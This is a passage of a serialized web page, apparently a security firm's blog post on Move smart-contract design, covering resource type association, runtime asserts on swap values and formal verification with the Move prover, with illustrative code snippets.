...\n      });\n",[8372],{"type":22,"tag":257,"props":8373,"children":8374},{"__ignoreMap":7},[8375,8418,8444,8451,8472,8517,8524,8531,8538,8575,8582],{"type":22,"tag":264,"props":8376,"children":8377},{"class":1534,"line":1535},[8378,8383,8387,8392,8396,8401,8406,8410,8414],{"type":22,"tag":264,"props":8379,"children":8380},{"style":4401},[8381],{"type":27,"value":8382},"  public",{"type":22,"tag":264,"props":8384,"children":8385},{"style":1539},[8386],{"type":27,"value":2660},{"type":22,"tag":264,"props":8388,"children":8389},{"style":1549},[8390],{"type":27,"value":8391},"friend",{"type":22,"tag":264,"props":8393,"children":8394},{"style":1539},[8395],{"type":27,"value":4390},{"type":22,"tag":264,"props":8397,"children":8398},{"style":1549},[8399],{"type":27,"value":8400},"fun",{"type":22,"tag":264,"props":8402,"children":8403},{"style":1549},[8404],{"type":27,"value":8405}," create",{"type":22,"tag":264,"props":8407,"children":8408},{"style":1539},[8409],{"type":27,"value":7097},{"type":22,"tag":264,"props":8411,"children":8412},{"style":4722},[8413],{"type":27,"value":8195},{"type":22,"tag":264,"props":8415,"children":8416},{"style":1539},[8417],{"type":27,"value":7881},{"type":22,"tag":264,"props":8419,"children":8420},{"class":1534,"line":1545},[8421,8426,8430,8435,8440],{"type":22,"tag":264,"props":8422,"children":8423},{"style":1549},[8424],{"type":27,"value":8425},"      lp_store",{"type":22,"tag":264,"props":8427,"children":8428},{"style":4309},[8429],{"type":27,"value":5785},{"type":22,"tag":264,"props":8431,"children":8432},{"style":4309},[8433],{"type":27,"value":8434}," &",{"type":22,"tag":264,"props":8436,"children":8437},{"style":1549},[8438],{"type":27,"value":8439},"signer",{"type":22,"tag":264,"props":8441,"children":8442},{"style":1539},[8443],{"type":27,"value":4812},{"type":22,"tag":264,"props":8445,"children":8446},{"class":1534,"line":1560},[8447],{"type":22,"tag":264,"props":8448,"children":8449},{"style":4284},[8450],{"type":27,"value":7889},{"type":22,"tag":264,"props":8452,"children":8453},{"class":1534,"line":1569},[8454,8459,8463,8468],{"type":22,"tag":264,"props":8455,"children":8456},{"style":1539},[8457],{"type":27,"value":8458},"  ) ",{"type":22,"tag":264,"props":8460,"children":8461},{"style":1549},[8462],{"type":27,"value":7636},{"type":22,"tag":264,"props":8464,"children":8465},{"style":4722},[8466],{"type":27,"value":8467}," Reserves",{"type":22,"tag":264,"props":8469,"children":8470},{"style":1539},[8471],{"type":27,"value":4594},{"type":22,"tag":264,"props":8473,"children":8474},{"class":1534,"line":1583},[8475,8480,8484,8489,8494,8498,8503,8507,8512],{"type":22,"tag":264,"props":8476,"children":8477},{"style":1539},[8478],{"type":27,"value":8479},"      lp",{"type":22,"tag":264,"props":8481,"children":8482},{"style":4309},[8483],{"type":27,"value":4785},{"type":22,"tag":264,"props":8485,"children":8486},{"style":4401},[8487],{"type":27,"value":8488},"assert_is_lp_store",{"type":22,"tag":264,"props":8490,"children":8491},{"style":1539},[8492],{"type":27,"value":8493},"(signer",{"type":22,"tag":264,"props":8495,"children":8496},{"style":4309},[8497],{"type":27,"value":4785},{"type":22,"tag":264,"props":8499,"children":8500},{"style":4401},[8501],{"type":27,"value":8502},"address_of",{"type":22,"tag":264,"props":8504,"children":8505},{"style":1539},[8506],{"type":27,"value":2660},{"type":22,"tag":264,"props":8508,"children":8509},{"style":1549},[8510],{"type":27,"value":8511},"lp_store",{"type":22,"tag":264,"props":8513,"children":8514},{"style":1539},[8515],{"type":27,"value":8516},"));\n",{"type":22,"tag":264,"props":8518,"children":8519},{"class":1534,"line":1603},[8520],{"type":22,"tag":264,"props":8521,"children":8522},{"emptyLinePlaceholder":17},[8523],{"type":27,"value":4986},{"type":22,"tag":264,"props":8525,"children":8526},{"class":1534,"line":1612},[8527],{"type":22,"tag":264,"props":8528,"children":8529},{"style":4284},[8530],{"type":27,"value":7889},{"type":22,"tag":264,"props":8532,"children":8533},{"class":1534,"line":1621},[8534],{"type":22,"tag":264,"props":8535,"children":8536},{"emptyLinePlaceholder":17},[8537],{"type":27,"value":4986},{"type":22,"tag":264,"props":8539,"children":8540},{"class":1534,"line":1629},[8541,8546,8550,8554,8558,8562,8566,8570],{"type":22,"tag":264,"props":8542,"children":8543},{"style":4401},[8544],{"type":27,"value":8545},"      move_to",{"type":22,"tag":264,"props":8547,"children":8548},{"style":1539},[8549],{"type":27,"value":2660},{"type":22,"tag":264,"props":8551,"children":8552},{"style":1549},[8553],{"type":27,"value":8511},{"type":22,"tag":264,"props":8555,"children":8556},{"style":1539},[8557],{"type":27,"value":4380},{"type":22,"tag":264,"props":8559,"children":8560},{"style":4722},[8561],{"type":27,"value":8096},{"type":22,"tag":264,"props":8563,"children":8564},{"style":1539},[8565],{"type":27,"value":7097},{"type":22,"tag":264,"props":8567,"children":8568},{"style":4722},[8569],{"type":27,"value":8195},{"type":22,"tag":264,"props":8571,"children":8572},{"style":1539},[8573],{"type":27,"value":8574},"> {\n",{"type":22,"tag":264,"props":8576,"children":8577},{"class":1534,"line":1642},[8578],{"type":22,"tag":264,"props":8579,"children":8580},{"style":4284},[8581],{"type":27,"value":7467},{"type":22,"tag":264,"props":8583,"children":8584},{"class":1534,"line":1660},[8585],{"type":22,"tag":264,"props":8586,"children":8587},{"style":1539},[8588],{"type":27,"value":8589},"      });\n",{"type":22,"tag":23,"props":8591,"children":8592},{},[8593],{"type":27,"value":8594},"In both these instances, type association only works because we create exactly one instance per type.",{"type":22,"tag":23,"props":8596,"children":8597},{},[8598,8600,8606,8608,8614,8616,8621],{"type":27,"value":8599},"On the other hand, consider if you have a ",{"type":22,"tag":257,"props":8601,"children":8603},{"className":8602},[],[8604],{"type":27,"value":8605},"Position\u003CT>",{"type":27,"value":8607}," and a ",{"type":22,"tag":257,"props":8609,"children":8611},{"className":8610},[],[8612],{"type":27,"value":8613},"Market\u003CT>",{"type":27,"value":8615}," where ",{"type":22,"tag":257,"props":8617,"children":8619},{"className":8618},[],[8620],{"type":27,"value":7279},{"type":27,"value":8622}," is the coin type.",{"type":22,"tag":618,"props":8624,"children":8626},{"className":4274,"code":8625,"language":4273,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[8627],{"type":22,"tag":257,"props":8628,"children":8629},{"__ignoreMap":7},[8630,8658,8686,8693,8700,8707,8735,8755,8762],{"type":22,"tag":264,"props":8631,"children":8632},{"class":1534,"line":1535},[8633,8637,8642,8646,8650,8654],{"type":22,"tag":264,"props":8634,"children":8635},{"style":4293},[8636],{"type":27,"value":7344},{"type":22,"tag":264,"props":8638,"children":8639},{"style":4722},[8640],{"type":27,"value":8641}," Market",{"type":22,"tag":264,"props":8643,"children":8644},{"style":1539},[8645],{"type":27,"value":7097},{"type":22,"tag":264,"props":8647,"children":8648},{"style":1549},[8649],{"type":27,"value":7102},{"type":22,"tag":264,"props":8651,"children":8652},{"style":4722},[8653],{"type":27,"value":7210},{"type":22,"tag":264,"props":8655,"children":8656},{"style":1539},[8657],{"type":27,"value":8574},{"type":22,"tag":264,"props":8659,"children":8660},{"class":1534,"line":1545},[8661,8666,8670,8674,8678,8682],{"type":22,"tag":264,"props":8662,"children":8663},{"style":1549},[8664],{"type":27,"value":8665},"        reserves",{"type":22,"tag":264,"props":8667,"children":8668},{"style":4309},[8669],{"type":27,"value":5785},{"type":22,"tag":264,"props":8671,"children":8672},{"style":4722},[8673],{"type":27,"value":7092},{"type":22,"tag":264,"props":8675,"children":8676},{"style":1539},[8677],{"type":27,"value":7097},{"type":22,"tag":264,"props":8679,"children":8680},{"style":4722},[8681],{"type":27,"value":7279},{"type":22,"tag":264,"props":8683,"children":8684},{"style":1539},[8685],{"type":27,"value":7430},{"type":22,"tag":264,"props":8687,"children":8688},{"class":1534,"line":1560},[8689],{"type":22,"tag":264,"props":8690,"children":8691},{"style":4284},[8692],{"type":27,"value":7467},{"type":22,"tag":264,"props":8694,"children":8695},{"class":1534,"line":1569},[8696],{"type":22,"tag":264,"props":8697,"children":8698},{"style":1539},[8699],{"type":27,"value":1674},{"type":22,"tag":264,"props":8701,"children":8702},{"class":1534,"line":1583},[8703],{"type":22,"tag":264,"props":8704,"children":8705},{"emptyLinePlaceholder":17},[8706],{"type":27,"value":4986},{"type":22,"tag":264,"props":8708,"children":8709},{"class":1534,"line":1603},[8710,8714,8719,8723,8727,8731],{"type":22,"tag":264,"props":8711,"children":8712},{"style":4293},[8713],{"type":27,"value":7344},{"type":22,"tag":264,"props":8715,"children":8716},{"style":4722},[8717],{"type":27,"value":8718}," Position",{"type":22,"tag":264,"props":8720,"children":8721},{"style":1539},[8722],{"type":27,"value":7097},{"type":22,"tag":264,"props":8724,"children":8725},{"style":1549},[8726],{"type":27,"value":7102},{"type":22,"tag":264,"props":8728,"children":8729},{"style":4722},[8730],{"type":27,"value":7210},{"type":22,"tag":264,"props":8732,"children":8733},{"style":1539},[8734],{"type":27,"value":8574},{"type":22,"tag":264,"props":8736,"children":8737},{"class":1534,"line":1612},[8738,8743,8747,8751],{"type":22,"tag":264,"props":8739,"children":8740},{"style":1549},[8741],{"type":27,"value":8742},"        amount",{"type":22,"tag":264,"props":8744,"children":8745},{"style":4309},[8746],{"type":27,"value":5785},{"type":22,"tag":264,"props":8748,"children":8749},{"style":4722},[8750],{"type":27,"value":7151},{"type":22,"tag":264,"props":8752,"children":8753},{"style":1539},[8754],{"type":27,"value":4812},{"type":22,"tag":264,"props":8756,"children":8757},{"class":1534,"line":1621},[8758],{"type":22,"tag":264,"props":8759,"children":8760},{"style":4284},[8761],{"type":27,"value":7467},{"type":22,"tag":264,"props":8763,"children":8764},{"class":1534,"line":1629},[8765],{"type":22,"tag":264,"props":8766,"children":8767},{"style":1539},[8768],{"type":27,"value":1674},{"type":22,"tag":23,"props":8770,"children":8771},{},[8772,8774,8779,8781,8786],{"type":27,"value":8773},"If ",{"type":22,"tag":257,"props":8775,"children":8777},{"className":8776},[],[8778],{"type":27,"value":8613},{"type":27,"value":8780}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":22,"tag":257,"props":8782,"children":8784},{"className":8783},[],[8785],{"type":27,"value":7279},{"type":27,"value":8787}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":22,"tag":23,"props":8789,"children":8790},{},[8791],{"type":27,"value":8792},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":22,"tag":618,"props":8794,"children":8796},{"className":4274,"code":8795,"language":4273,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[8797],{"type":22,"tag":257,"props":8798,"children":8799},{"__ignoreMap":7},[8800,8808,8870,8919,8971,8996,9008,9030,9038,9051],{"type":22,"tag":264,"props":8801,"children":8802},{"class":1534,"line":1535},[8803],{"type":22,"tag":264,"props":8804,"children":8805},{"style":4284},[8806],{"type":27,"value":8807},"    /// Get the price of the token per lamport.\n",{"type":22,"tag":264,"props":8809,"children":8810},{"class":1534,"line":1545},[8811,8816,8820,8825,8829,8834,8838,8843,8847,8851,8856,8861,8866],{"type":22,"tag":264,"props":8812,"children":8813},{"style":1549},[8814],{"type":27,"value":8815},"    public",{"type":22,"tag":264,"props":8817,"children":8818},{"style":1549},[8819],{"type":27,"value":7499},{"type":22,"tag":264,"props":8821,"children":8822},{"style":4401},[8823],{"type":27,"value":8824}," get_price",{"type":22,"tag":264,"props":8826,"children":8827},{"style":1539},[8828],{"type":27,"value":2660},{"type":22,"tag":264,"props":8830,"children":8831},{"style":1549},[8832],{"type":27,"value":8833},"type_info",{"type":22,"tag":264,"props":8835,"children":8836},{"style":4309},[8837],{"type":27,"value":5785},{"type":22,"tag":264,"props":8839,"children":8840},{"style":4722},[8841],{"type":27,"value":8842}," TypeInfo",{"type":22,"tag":264,"props":8844,"children":8845},{"style":1539},[8846],{"type":27,"value":2806},{"type":22,"tag":264,"props":8848,"children":8849},{"style":4309},[8850],{"type":27,"value":5785},{"type":22,"tag":264,"props":8852,"children":8853},{"style":4722},[8854],{"type":27,"value":8855}," Decimal",{"type":22,"tag":264,"props":8857,"children":8858},{"style":1549},[8859],{"type":27,"value":8860}," acquires",{"type":22,"tag":264,"props":8862,"children":8863},{"style":4722},[8864],{"type":27,"value":8865}," Oracle",{"type":22,"tag":264,"props":8867,"children":8868},{"style":1539},[8869],{"type":27,"value":4594},{"type":22,"tag":264,"props":8871,"children":8872},{"class":1534,"line":1560},[8873,8877,8882,8886,8891,8895,8900,8905,8910,8915],{"type":22,"tag":264,"props":8874,"children":8875},{"style":4293},[8876],{"type":27,"value":4365},{"type":22,"tag":264,"props":8878,"children":8879},{"style":1549},[8880],{"type":27,"value":8881}," oracle",{"type":22,"tag":264,"props":8883,"children":8884},{"style":4309},[8885],{"type":27,"value":4312},{"type":22,"tag":264,"props":8887,"children":8888},{"style":1549},[8889],{"type":27,"value":8890}," borrow_global_mut",{"type":22,"tag":264,"props":8892,"children":8893},{"style":1539},[8894],{"type":27,"value":7097},{"type":22,"tag":264,"props":8896,"children":8897},{"style":4722},[8898],{"type":27,"value":8899},"Oracle",{"type":22,"tag":264,"props":8901,"children":8902},{"style":1539},[8903],{"type":27,"value":8904},">(",{"type":22,"tag":264,"props":8906,"children":8907},{"style":4309},[8908],{"type":27,"value":8909},"@",{"type":22,"tag":264,"props":8911,"children":8912},{"style":1549},[8913],{"type":27,"value":8914},"oracle",{"type":22,"tag":264,"props":8916,"children":8917},{"style":1539},[8918],{"type":27,"value":5142},{"type":22,"tag":264,"props":8920,"children":8921},{"class":1534,"line":1569},[8922,8926,8931,8935,8940,8944,8949,8953,8958,8962,8967],{"type":22,"tag":264,"props":8923,"children":8924},{"style":4293},[8925],{"type":27,"value":4365},{"type":22,"tag":264,"props":8927,"children":8928},{"style":1549},[8929],{"type":27,"value":8930}," price",{"type":22,"tag":264,"props":8932,"children":8933},{"style":4309},[8934],{"type":27,"value":4312},{"type":22,"tag":264,"props":8936,"children":8937},{"style":1539},[8938],{"type":27,"value":8939}," table",{"type":22,"tag":264,"props":8941,"children":8942},{"style":4309},[8943],{"type":27,"value":4785},{"type":22,"tag":264,"props":8945,"children":8946},{"style":1549},[8947],{"type":27,"value":8948},"borrow_mut_with_default",{"type":22,"tag":264,"props":8950,"children":8951},{"style":1539},[8952],{"type":27,"value":7097},{"type":22,"tag":264,"props":8954,"children":8955},{"style":4722},[8956],{"type":27,"value":8957},"TypeInfo",{"type":22,"tag":264,"props":8959,"children":8960},{"style":1539},[8961],{"type":27,"value":4380},{"type":22,"tag":264,"props":8963,"children":8964},{"style":4722},[8965],{"type":27,"value":8966},"Decimal",{"type":22,"tag":264,"props":8968,"children":8969},{"style":1539},[8970],{"type":27,"value":7881},{"type":22,"tag":264,"props":8972,"children":8973},{"class":1534,"line":1583},[8974,8979,8983,8987,8991],{"type":22,"tag":264,"props":8975,"children":8976},{"style":4309},[8977],{"type":27,"value":8978},"            &",{"type":22,"tag":264,"props":8980,"children":8981},{"style":4293},[8982],{"type":27,"value":5035},{"type":22,"tag":264,"props":8984,"children":8985},{"style":1549},[8986],{"type":27,"value":8881},{"type":22,"tag":264,"props":8988,"children":8989},{"style":4309},[8990],{"type":27,"value":210},{"type":22,"tag":264,"props":8992,"children":8993},{"style":1539},[8994],{"type":27,"value":8995},"prices,\n",{"type":22,"tag":264,"props":8997,"children":8998},{"class":1534,"line":1603},[8999,9004],{"type":22,"tag":264,"props":9000,"children":9001},{"style":1549},[9002],{"type":27,"value":9003},"            type_info",{"type":22,"tag":264,"props":9005,"children":9006},{"style":1539},[9007],{"type":27,"value":4812},{"type":22,"tag":264,"props":9009,"children":9010},{"class":1534,"line":1612},[9011,9016,9020,9025],{"type":22,"tag":264,"props":9012,"children":9013},{"style":1539},[9014],{"type":27,"value":9015},"            decimal",{"type":22,"tag":264,"props":9017,"children":9018},{"style":4309},[9019],{"type":27,"value":4785},{"type":22,"tag":264,"props":9021,"children":9022},{"style":4401},[9023],{"type":27,"value":9024},"one",{"type":22,"tag":264,"props":9026,"children":9027},{"style":1539},[9028],{"type":27,"value":9029},"()\n",{"type":22,"tag":264,"props":9031,"children":9032},{"class":1534,"line":1621},[9033],{"type":22,"tag":264,"props":9034,"children":9035},{"style":1539},[9036],{"type":27,"value":9037},"        );\n",{"type":22,"tag":264,"props":9039,"children":9040},{"class":1534,"line":1629},[9041,9046],{"type":22,"tag":264,"props":9042,"children":9043},{"style":4309},[9044],{"type":27,"value":9045},"        *",{"type":22,"tag":264,"props":9047,"children":9048},{"style":1549},[9049],{"type":27,"value":9050},"price\n",{"type":22,"tag":264,"props":9052,"children":9053},{"class":1534,"line":1642},[9054],{"type":22,"tag":264,"props":9055,"children":9056},{"style":1539},[9057],{"type":27,"value":1674},{"type":22,"tag":23,"props":9059,"children":9060},{},[9061,9063,9068],{"type":27,"value":9062},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":22,"tag":1699,"props":9064,"children":9065},{},[9066],{"type":27,"value":9067},"instance",{"type":27,"value":9069}," of another resource (which is possible in Diem style move).",{"type":22,"tag":23,"props":9071,"children":9072},{},[9073],{"type":27,"value":9074},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":22,"tag":1867,"props":9076,"children":9077},{},[9078,9083],{"type":22,"tag":1871,"props":9079,"children":9080},{},[9081],{"type":27,"value":9082},"Have unique initializers for your resources",{"type":22,"tag":1871,"props":9084,"children":9085},{},[9086],{"type":27,"value":9087},"Associate resources with instances directly",{"type":22,"tag":169,"props":9089,"children":9091},{"id":9090},"formal-verification",[9092],{"type":27,"value":9093},"Formal Verification",{"type":22,"tag":23,"props":9095,"children":9096},{},[9097],{"type":27,"value":9098},"Formal verification is another exciting feature.",{"type":22,"tag":23,"props":9100,"children":9101},{},[9102],{"type":27,"value":9103},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":22,"tag":23,"props":9105,"children":9106},{},[9107,9109,9114],{"type":27,"value":9108},"However, this isn't a silver bullet. The key is figuring out ",{"type":22,"tag":1699,"props":9110,"children":9111},{},[9112],{"type":27,"value":9113},"what",{"type":27,"value":9115}," to prove.",{"type":22,"tag":23,"props":9117,"children":9118},{},[9119,9121,9128],{"type":27,"value":9120},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":22,"tag":69,"props":9122,"children":9125},{"href":9123,"rel":9124},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[73],[9126],{"type":27,"value":9127},"Solana AMM rounding issue",{"type":27,"value":9129}," we reported.",{"type":22,"tag":23,"props":9131,"children":9132},{},[9133],{"type":27,"value":9134},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":22,"tag":618,"props":9136,"children":9138},{"className":4274,"code":9137,"language":4273,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[9139],{"type":22,"tag":257,"props":9140,"children":9141},{"__ignoreMap":7},[9142,9203],{"type":22,"tag":264,"props":9143,"children":9144},{"class":1534,"line":1535},[9145,9150,9155,9159,9164,9168,9173,9177,9181,9186,9190,9194,9199],{"type":22,"tag":264,"props":9146,"children":9147},{"style":4293},[9148],{"type":27,"value":9149},"  let",{"type":22,"tag":264,"props":9151,"children":9152},{"style":1549},[9153],{"type":27,"value":9154}," cmp",{"type":22,"tag":264,"props":9156,"children":9157},{"style":4309},[9158],{"type":27,"value":4312},{"type":22,"tag":264,"props":9160,"children":9161},{"style":1539},[9162],{"type":27,"value":9163}," u256",{"type":22,"tag":264,"props":9165,"children":9166},{"style":4309},[9167],{"type":27,"value":4785},{"type":22,"tag":264,"props":9169,"children":9170},{"style":4401},[9171],{"type":27,"value":9172},"compare",{"type":22,"tag":264,"props":9174,"children":9175},{"style":1539},[9176],{"type":27,"value":2660},{"type":22,"tag":264,"props":9178,"children":9179},{"style":4309},[9180],{"type":27,"value":4413},{"type":22,"tag":264,"props":9182,"children":9183},{"style":1549},[9184],{"type":27,"value":9185},"lp_value_after_swap_and_fee",{"type":22,"tag":264,"props":9187,"children":9188},{"style":1539},[9189],{"type":27,"value":4380},{"type":22,"tag":264,"props":9191,"children":9192},{"style":4309},[9193],{"type":27,"value":4413},{"type":22,"tag":264,"props":9195,"children":9196},{"style":1549},[9197],{"type":27,"value":9198},"lp_value_before_swap_u256",{"type":22,"tag":264,"props":9200,"children":9201},{"style":1539},[9202],{"type":27,"value":5142},{"type":22,"tag":264,"props":9204,"children":9205},{"class":1534,"line":1545},[9206,9211,9215,9220,9224,9229],{"type":22,"tag":264,"props":9207,"children":9208},{"style":4401},[9209],{"type":27,"value":9210},"  assert!",{"type":22,"tag":264,"props":9212,"children":9213},{"style":1539},[9214],{"type":27,"value":2660},{"type":22,"tag":264,"props":9216,"children":9217},{"style":1549},[9218],{"type":27,"value":9219},"cmp",{"type":22,"tag":264,"props":9221,"children":9222},{"style":4309},[9223],{"type":27,"value":4585},{"type":22,"tag":264,"props":9225,"children":9226},{"style":4344},[9227],{"type":27,"value":9228}," 2",{"type":22,"tag":264,"props":9230,"children":9231},{"style":1539},[9232],{"type":27,"value":9233},", ERR_INCORRECT_SWAP);\n",{"type":22,"tag":23,"props":9235,"children":9236},{},[9237,9239,9244],{"type":27,"value":9238},"The move prover really shines when we're proving relationships ",{"type":22,"tag":1699,"props":9240,"children":9241},{},[9242],{"type":27,"value":9243},"between",{"type":27,"value":9245}," functions.",{"type":22,"tag":23,"props":9247,"children":9248},{},[9249,9251,9257],{"type":27,"value":9250},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":22,"tag":257,"props":9252,"children":9254},{"className":9253},[],[9255],{"type":27,"value":9256},"no_free_money_theorem",{"type":27,"value":9258}," in the move repository.",{"type":22,"tag":618,"props":9260,"children":9262},{"className":4274,"code":9261,"language":4273,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[9263],{"type":22,"tag":257,"props":9264,"children":9265},{"__ignoreMap":7},[9266,9274,9362,9404,9425,9432,9448,9474,9501,9526],{"type":22,"tag":264,"props":9267,"children":9268},{"class":1534,"line":1535},[9269],{"type":22,"tag":264,"props":9270,"children":9271},{"style":4284},[9272],{"type":27,"value":9273},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":22,"tag":264,"props":9275,"children":9276},{"class":1534,"line":1545},[9277,9281,9286,9290,9295,9299,9303,9307,9312,9316,9320,9324,9328,9332,9337,9341,9345,9349,9353,9358],{"type":22,"tag":264,"props":9278,"children":9279},{"style":1549},[9280],{"type":27,"value":7862},{"type":22,"tag":264,"props":9282,"children":9283},{"style":4401},[9284],{"type":27,"value":9285}," no_free_money_theorem",{"type":22,"tag":264,"props":9287,"children":9288},{"style":1539},[9289],{"type":27,"value":2660},{"type":22,"tag":264,"props":9291,"children":9292},{"style":1549},[9293],{"type":27,"value":9294},"coin1_in",{"type":22,"tag":264,"props":9296,"children":9297},{"style":4309},[9298],{"type":27,"value":5785},{"type":22,"tag":264,"props":9300,"children":9301},{"style":4722},[9302],{"type":27,"value":7151},{"type":22,"tag":264,"props":9304,"children":9305},{"style":1539},[9306],{"type":27,"value":4380},{"type":22,"tag":264,"props":9308,"children":9309},{"style":1549},[9310],{"type":27,"value":9311},"coin2_in",{"type":22,"tag":264,"props":9313,"children":9314},{"style":4309},[9315],{"type":27,"value":5785},{"type":22,"tag":264,"props":9317,"children":9318},{"style":4722},[9319],{"type":27,"value":7151},{"type":22,"tag":264,"props":9321,"children":9322},{"style":1539},[9323],{"type":27,"value":2806},{"type":22,"tag":264,"props":9325,"children":9326},{"style":4309},[9327],{"type":27,"value":5785},{"type":22,"tag":264,"props":9329,"children":9330},{"style":1539},[9331],{"type":27,"value":4370},{"type":22,"tag":264,"props":9333,"children":9334},{"style":4722},[9335],{"type":27,"value":9336},"u64",{"type":22,"tag":264,"props":9338,"children":9339},{"style":1539},[9340],{"type":27,"value":4380},{"type":22,"tag":264,"props":9342,"children":9343},{"style":4722},[9344],{"type":27,"value":9336},{"type":22,"tag":264,"props":9346,"children":9347},{"style":1539},[9348],{"type":27,"value":4390},{"type":22,"tag":264,"props":9350,"children":9351},{"style":1549},[9352],{"type":27,"value":7636},{"type":22,"tag":264,"props":9354,"children":9355},{"style":4722},[9356],{"type":27,"value":9357}," Pool",{"type":22,"tag":264,"props":9359,"children":9360},{"style":1539},[9361],{"type":27,"value":4594},{"type":22,"tag":264,"props":9363,"children":9364},{"class":1534,"line":1560},[9365,9370,9375,9379,9384,9388,9392,9396,9400],{"type":22,"tag":264,"props":9366,"children":9367},{"style":4293},[9368],{"type":27,"value":9369},"      let",{"type":22,"tag":264,"props":9371,"children":9372},{"style":1549},[9373],{"type":27,"value":9374}," share",{"type":22,"tag":264,"props":9376,"children":9377},{"style":4309},[9378],{"type":27,"value":4312},{"type":22,"tag":264,"props":9380,"children":9381},{"style":4401},[9382],{"type":27,"value":9383}," add_liquidity",{"type":22,"tag":264,"props":9385,"children":9386},{"style":1539},[9387],{"type":27,"value":2660},{"type":22,"tag":264,"props":9389,"children":9390},{"style":1549},[9391],{"type":27,"value":9294},{"type":22,"tag":264,"props":9393,"children":9394},{"style":1539},[9395],{"type":27,"value":4380},{"type":22,"tag":264,"props":9397,"children":9398},{"style":1549},[9399],{"type":27,"value":9311},{"type":22,"tag":264,"props":9401,"children":9402},{"style":1539},[9403],{"type":27,"value":5142},{"type":22,"tag":264,"props":9405,"children":9406},{"class":1534,"line":1569},[9407,9412,9416,9421],{"type":22,"tag":264,"props":9408,"children":9409},{"style":4401},[9410],{"type":27,"value":9411},"      remove_liquidity",{"type":22,"tag":264,"props":9413,"children":9414},{"style":1539},[9415],{"type":27,"value":2660},{"type":22,"tag":264,"props":9417,"children":9418},{"style":1549},[9419],{"type":27,"value":9420},"share",{"type":22,"tag":264,"props":9422,"children":9423},{"style":1539},[9424],{"type":27,"value":4463},{"type":22,"tag":264,"props":9426,"children":9427},{"class":1534,"line":1583},[9428],{"type":22,"tag":264,"props":9429,"children":9430},{"style":1539},[9431],{"type":27,"value":7163},{"type":22,"tag":264,"props":9433,"children":9434},{"class":1534,"line":1603},[9435,9440,9444],{"type":22,"tag":264,"props":9436,"children":9437},{"style":1549},[9438],{"type":27,"value":9439},"  spec",{"type":22,"tag":264,"props":9441,"children":9442},{"style":1549},[9443],{"type":27,"value":9285},{"type":22,"tag":264,"props":9445,"children":9446},{"style":1539},[9447],{"type":27,"value":4594},{"type":22,"tag":264,"props":9449,"children":9450},{"class":1534,"line":1612},[9451,9456,9461,9465,9470],{"type":22,"tag":264,"props":9452,"children":9453},{"style":1549},[9454],{"type":27,"value":9455},"      pragma",{"type":22,"tag":264,"props":9457,"children":9458},{"style":1549},[9459],{"type":27,"value":9460}," verify",{"type":22,"tag":264,"props":9462,"children":9463},{"style":4309},[9464],{"type":27,"value":429},{"type":22,"tag":264,"props":9466,"children":9467},{"style":4293},[9468],{"type":27,"value":9469},"false",{"type":22,"tag":264,"props":9471,"children":9472},{"style":1539},[9473],{"type":27,"value":4322},{"type":22,"tag":264,"props":9475,"children":9476},{"class":1534,"line":1621},[9477,9482,9487,9492,9497],{"type":22,"tag":264,"props":9478,"children":9479},{"style":1549},[9480],{"type":27,"value":9481},"      ensures",{"type":22,"tag":264,"props":9483,"children":9484},{"style":1549},[9485],{"type":27,"value":9486}," result_1",{"type":22,"tag":264,"props":9488,"children":9489},{"style":4309},[9490],{"type":27,"value":9491}," \u003C=",{"type":22,"tag":264,"props":9493,"children":9494},{"style":1549},[9495],{"type":27,"value":9496}," coin1_in",{"type":22,"tag":264,"props":9498,"children":9499},{"style":1539},[9500],{"type":27,"value":4322},{"type":22,"tag":264,"props":9502,"children":9503},{"class":1534,"line":1629},[9504,9508,9513,9517,9522],{"type":22,"tag":264,"props":9505,"children":9506},{"style":1549},[9507],{"type":27,"value":9481},{"type":22,"tag":264,"props":9509,"children":9510},{"style":1549},[9511],{"type":27,"value":9512}," result_2",{"type":22,"tag":264,"props":9514,"children":9515},{"style":4309},[9516],{"type":27,"value":9491},{"type":22,"tag":264,"props":9518,"children":9519},{"style":1549},[9520],{"type":27,"value":9521}," coin2_in",{"type":22,"tag":264,"props":9523,"children":9524},{"style":1539},[9525],{"type":27,"value":4322},{"type":22,"tag":264,"props":9527,"children":9528},{"class":1534,"line":1642},[9529],{"type":22,"tag":264,"props":9530,"children":9531},{"style":1539},[9532],{"type":27,"value":7163},{"type":22,"tag":23,"props":9534,"children":9535},{},[9536],{"type":27,"value":9537},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":22,"tag":23,"props":9539,"children":9540},{},[9541,9543,9548],{"type":27,"value":9542},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a 